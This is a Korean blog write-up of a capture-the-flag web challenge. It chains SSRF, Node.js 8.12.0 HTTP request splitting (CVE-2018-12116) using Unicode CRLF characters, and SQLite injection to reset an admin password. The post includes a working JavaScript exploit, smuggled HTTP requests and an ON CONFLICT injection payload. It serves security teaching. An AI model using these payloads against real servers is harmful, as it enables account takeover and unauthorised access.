티스토리 뷰

728x90
반응형

1. Foot Printing

접속하면 아래와 같이 날씨 App 이 나옵니다.

그리고 백그라운드에서는 아래와 같이 HTTP POST request를 전송합니다.

POST /api/weather HTTP/1.1
Host: 188.166.173.208:30573
Content-Length: 47
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://188.166.173.208:30573
Referer: http://188.166.173.208:30573/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"endpoint":"api.openweathermap.org","city":"Yongsan-dong","country":"KR"}

그리고 response 로는 아래와 같이 나왔습니다.

{"desc":"scattered clouds","icon":"icon-clouds","temp":24.41}

딱보자마자 SSRF(Server Side Request Forgery) 공격 문제라고 생각하고, endpoint 파라미터에 localhost 를 삽입해보고 flag의 위치를 유추해서 풀어보려고 하였지만 실패했습니다.

그러던 중 문제에 제공된 파일이 있음을 알게되었고 분석을 해보았습니다.

2. Source Code Analysis

도커파일들을 분석해본 결과 아래와 같습니다.

// node js 버전
FROM node:8.12.0-alpine
// 프로젝트 디렉토리
WORKDIR /app
// 포트 정보
docker run -p 1337:80 --rm --name=weather_app -it weather_app

그리고 웹서버 코드 분석 결과는 아래와 같습니다.

// post register
router.post('/register', (req, res) => {

	if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
		return res.status(401).end();
	}

	let { username, password } = req.body;

	if (username && password) {
		return db.register(username, password)
			.then(()  => res.send(response('Successfully registered')))
			.catch(() => res.send(response('Something went wrong')));
	}

	return res.send(response('Missing parameters'));
});
// post login
router.post('/login', (req, res) => {
	let { username, password } = req.body;

	if (username && password) {
		return db.isAdmin(username, password)
			.then(admin => {
				if (admin) return res.send(fs.readFileSync('/app/flag').toString());
				return res.send(response('You are not admin'));
			})
			.catch(() => res.send(response('Something went wrong')));
	}
	
	return re.send(response('Missing parameters'));
});
// api/weather
router.post('/api/weather', (req, res) => {
	let { endpoint, city, country } = req.body;

	if (endpoint && city && country) {
		return WeatherHelper.getWeather(res, endpoint, city, country);
	}

	return res.send(response('Missing parameters'));
});

api/weather 는 SSRF에 쓰일 수 있는 기능이며 endpoint, city, country 파라미터를 필수적으로 받습니다. 조금 더 들어가서 WeatherHelper.getWeather의 경우 파라미터들을 어떻게 처리하는 지 확인해보겠습니다.

async getWeather(res, endpoint, city, country) {
        let apiKey = '10a62430af617a949055a46fa6dec32f';
        let weatherData = 
        await HttpHelper.HttpGet(`
        http://${endpoint}/data/2.5/weather?q=${city},${country}
        &units=metric&appid=${apiKey}`); 

        if (weatherData.name) {
            ... 중략 ...
            return res.send({
                desc: weatherDescription,
                icon: weatherIcon,
                temp: weatherTemp,
            });
        } 
        return res.send({
            error: `Could not find ${city} or ${country}`
        });
}

저희가 입력하는 파라미터 값들이 URL 주소 형태에 그대로 들어가는 것을 확인할 수 있습니다.

/login 의 경우 username 과 password 파라미터를 필수적으로 받으며, 로그인한 계정이 Admin 일경우만 flag를 출력한다고 합니다.

/register 의 경우 내부 IP 에서만 사용할 수 있는 기능이며, username 과 password를 필수적으로 받습니다.

아래에서 database 파일을 보겠습니다.

async migrate() {
    return this.db.exec(`
        DROP TABLE IF EXISTS users;

        CREATE TABLE IF NOT EXISTS users (
            id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            username   VARCHAR(255) NOT NULL UNIQUE,
            password   VARCHAR(255) NOT NULL
        );

        INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
    `);
}
async register(user, pass) {
    // TODO: add parameterization and roll public
    return new Promise(async (resolve, reject) => {
        try {
            let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
            resolve((await this.db.run(query)));
        } catch(e) {
            reject(e);
        }
    });
}
async isAdmin(user, pass) {
    return new Promise(async (resolve, reject) => {
        try {
            let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
            let row = await smt.get(user, pass);
            resolve(row !== undefined ? row.username == 'admin' : false);
        } catch(e) {
            reject(e);
        }
    });
}

admin 계정의 password는 32자의 random hex byte 로 이뤄져있는 걸 알 수 있습니다. 그리고 isAdmin 의 query 문 실행하는 코드에 비해서 register의 코드는 SQL Injection 에 취약해보입니다. 그리고 admin의 경우에는 추가로 admin을 또 생성할 수 없는 게 위 코드에서 username이 UNIQUE로써 중복이 불가한 걸 알 수 있습니다. 그래서 SQL injection 시에 admin 의 패스워드를 변경하던가 admin 의 패스워드를 알아낼 수밖에 없어보입니다.

 

3. HTTP Request Smuggling vs. HTTP Request Splitting

여기까지만 봤을 때는 정황상 SSRF를 이용해서 내부IP에서만 실행가능한 register 기능을 실행시켜서 sql injection 취약점으로 admin 계정을 탈취하고, admin 계정으로 로그인하여 flag 를 획득하는 것이 목표로 보였습니다.

하지만 아무리 해보아도 원하는 결과를 얻지 못했었습니다. 우선 저는 register 경로로 GET이 아닌 POST 경로로 request를 보내야 하는 것도 난제였습니다. SSRF인데 endpoint 파라미터에 URL을 조작할 수 있는 건 알지만, GET request 로의 전송이 한계였기 때문입니다. 그러다가 다시 생각을 정리하고 구글링을 하였습니다.

그리고 저는 nodejs 버전이 생각보다 현재 버전보다 많이 낮다는 것이 의심스러워서 해당 버전의 취약점을 모두 조사해보았습니다. 취약점 조사는 이 https://snyk.io/test/docker/node%3A8.12.0-alpine 링크에서 조사하였고, 사용되지 않는 module, dos 관련, 취약점들을 모두 제외하고 나니깐, HTTP Request Smuggling과 HTTP Request Splitting 이라는 취약점이 보였습니다.

 

Snyk - Vulnerability report for Docker node:8.12.0-alpine

Learn more about Docker node:8.12.0-alpine vulnerabilities. Docker image node:8.12.0-alpine has 18 known vulnerabilities found in 19 vulnerable paths.

snyk.io

// HTTP Request Smuggling 설명
Affected versions of this package are vulnerable to HTTP Request Smuggling. Two copies of a header field are allowed in a HTTP request, which causes Node.js to identify the first header and ignore the second.
// HTTP Request Splitting 설명
Affected versions of this package are vulnerable to HTTP request splitting. If Node.js can be convinced to use unsanitized user-provided Unicode data for the path option of an HTTP request, then data can be provided which will trigger a second, unexpected, and user-defined HTTP request to made to the same server.

우선 Smuggling 의 경우 HTTP request 가 들어왔을 때 두 개의 헤더가 올 경우 첫번째 헤더를 허용하고 두번째는 무시하게 되는 취약점이라고 합니다. 그리고 Splitting의 경우에는 유니코드 인코딩 문자에 취약점이 발생되어 유저가 임의로 만든 HTTP request 요청을 동일한 서버로 전송할 수 있다고 합니다.

만약에 저희가 아래와 같이 요청을 보낸다고 했을 때,

POST /api/weather HTTP/1.1
Host: 188.166.173.208:30573
..생략..
Connection: close

{"endpoint":"localhost","city":"Yongsan-dong","country":"KR"}

getWeather 함수에서는 내부 네트워크에서 아래와 같이 요청을 보낼 것으로 예상됩니다.

GET /data/2.5/weather?q=Yongsan-dong,KR&units=metric&appid=10a62430af617a949055a46fa6dec32f HTTP/1.1
Host: 127.0.0.1:80
..생략..
Connection: close

이론 상 endpoint에 문자열 조작을 통해 http header를 추가로 아래와 같이 만든다고 할 때 Smuggling 취약점의 경우에는 문제가 발생했습니다. 바로 이 취약점은 첫번째를 허용하고 두번째 HTTP Payload를 무시하는 것이기 때문에 제가 만들고자 하는 POST 페이로드는 계속해서 두번째 일 수밖에 없다는 것이었습니다.

GET /data/2.5/weather?q=Yongsan-dong,KR&units=metric&appid=10a62430af617a949055a46fa6dec32f HTTP/1.1
Host: 127.0.0.1:80
..생략..
Connection: close

POST /regsiter
Host: 127.0.0.1:80
..생략..
Connection: close

username=dgkim&password=dgkim1234

그래서 HTTP Request Splitting(CVE-2018-12116) 취약점을 알아보았습니다.

 

4. HTTP Request Splitting (Node.js 8.12.0, CVE-2018-12116)

hackerone 에서 해당 취약점에 대해 작성한 보고서의 poc가 많이 참고되었습니다. (https://hackerone.com/reports/409943)

 

Node.js disclosed on HackerOne: Http request splitting

Hi, I came upon the following tweet today: [https://twitter.com/YShahinzadeh/status/1039396394195451904](https://twitter.com/YShahinzadeh/status/1039396394195451904) which details a http request splitting vulnerability in NodeJS. You can confirm it with th

hackerone.com

http.get('http://127.0.0.1:8000/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:8000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private')

우선 Request Splitting 을 위해서는 CRLF 문자를 사용해서 HTTP Header 에서의 개행문자인(\r\n)을 만들어줄 수 있는데, 여기서 옛날 버전의 nodejs 에서 사용되던 몇몇 라이브러리들은 유니코드 문자를 latin1 문자로 변환하는 특징을 가지고 있다고 합니다.

> Buffer.from('č', 'latin1') // \u010D
<Buffer 0d>
> Buffer.from('Ċ', 'latin1') // \u010A
<Buffer 0a>

이 특징을 이용해서 nodejs 서버가 처리할 때는 유니코드들이 \r\n 문자가 되어 처리가 되도록 할 수 있다고 합니다. (https://xenome.io/http-request-smuggling-via-unicode-payloads/)

 

HTTP Request Smuggling via Unicode Payloads

Some libraries and applications including those used in older versions of NodeJS will convert Unicode characters into latin1 character sets by truncating the hexadecimal value representing each glyph so it fits in the 0-95 range for the basic latin charact

xenome.io

> buffered = Buffer.from("GET / HTTP/1.1čĊHost: 127.0.0.1:80čĊAccept: */*čĊUser-Agent: dgkimčĊConnection: closečĊčĊ", 'latin1')
<Buffer 47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 38 30 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 55 ... >
> console.log(buffered.toString())
GET / HTTP/1.1
Host: 127.0.0.1:80
Accept: */*
User-Agent: dgkim
Connection: close

그래서 결론적으로 아래와 같이 여러 개의 HTTP 헤더를 작성해서 node.js 서버에서 POST /register 로 username=admin(sql injection)&password=admin 의 형태로 만들 수 있게 해야합니다.

참고로 SQL Injection 의 경우에는 sqlite 문법으로 admin 이라는 username 이 겹칠 경우(conflict) admin의 password를 변경하게끔 하는 update 쿼리문을 수행하도록 하였습니다.

INSERT INTO users (username, password) VALUES ('admin', 'dgkim') ON CONFLICT(username) DO UPDATE SET password='dgkim' where username='admin' -- ')
GET /data/2.5/weather?q=asdf,asdf HTTP/1.1
Host: 127.0.0.1
Connection: close

POST /register HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

username=admin&password=k%27%29+ON+CONFLICT%28username%29+DO+UPDATE+SET+password%3D%27dgkim%27+where+username%3D%27admin%27+--

GET /asdf&units=metric&appid=10a62430af617a949055a46fa6dec32f HTTP/1.1
Host: 127.0.0.1
Connection: close

node.js 웹서버 측에서 위와 같이 동작하게 하면, 우리가 원하는 대로 내부 서버(127.0.0.1)에서 /register 경로로 POST request를 보내고, body data로는 sql injection 공격이 삽입되어 우리가 원하는 대로 admin의 비밀번호가 변경될 것입니다.

5. Exploit

아래는 위 이론대로 수행할 수 있는 javascript 코드입니다.

var crlf = '\u010D\u010A';
var space = '\u0120';
var param = '';

param += space + 'HTTP/1.1' + crlf;
param += 'Host:' + space + '127.0.0.1' + crlf;
param += 'Connection:' + space + 'close' + crlf + crlf;
param += 'POST' + space + '/register';

param += space + 'HTTP/1.1' + crlf;
param += 'Host:' + space + '127.0.0.1' + crlf;
param += 'Connection:' + space + 'close' + crlf;
param += 'Content-Type:' + space + 'application/x-www-form-urlencoded' + crlf;
param += 'Content-Length:' + space + '126' + crlf + crlf;

param += 'username=admin&password=k%27%29+ON+CONFLICT%28username%29+DO+UPDATE+SET+password%3D%27dgkim%27+where+username%3D%27admin%27+--';
param += crlf + crlf;
param += 'GET' + space + '/asdf';

var data = {"endpoint":"127.0.0.1","city":"asdf","country":"asdf" + param};

fetch("http://188.166.173.208:30573/api/weather", {
  "headers": {
    "content-type": "application/json"
  },
  "body": JSON.stringify(data),
  "method": "POST",
  "mode": "cors",
  "credentials": "omit"
});

방금 변경한 비밀번호를 입력하고 로그인하게 되면 Flag가 바로 나옵니다.

728x90
반응형
댓글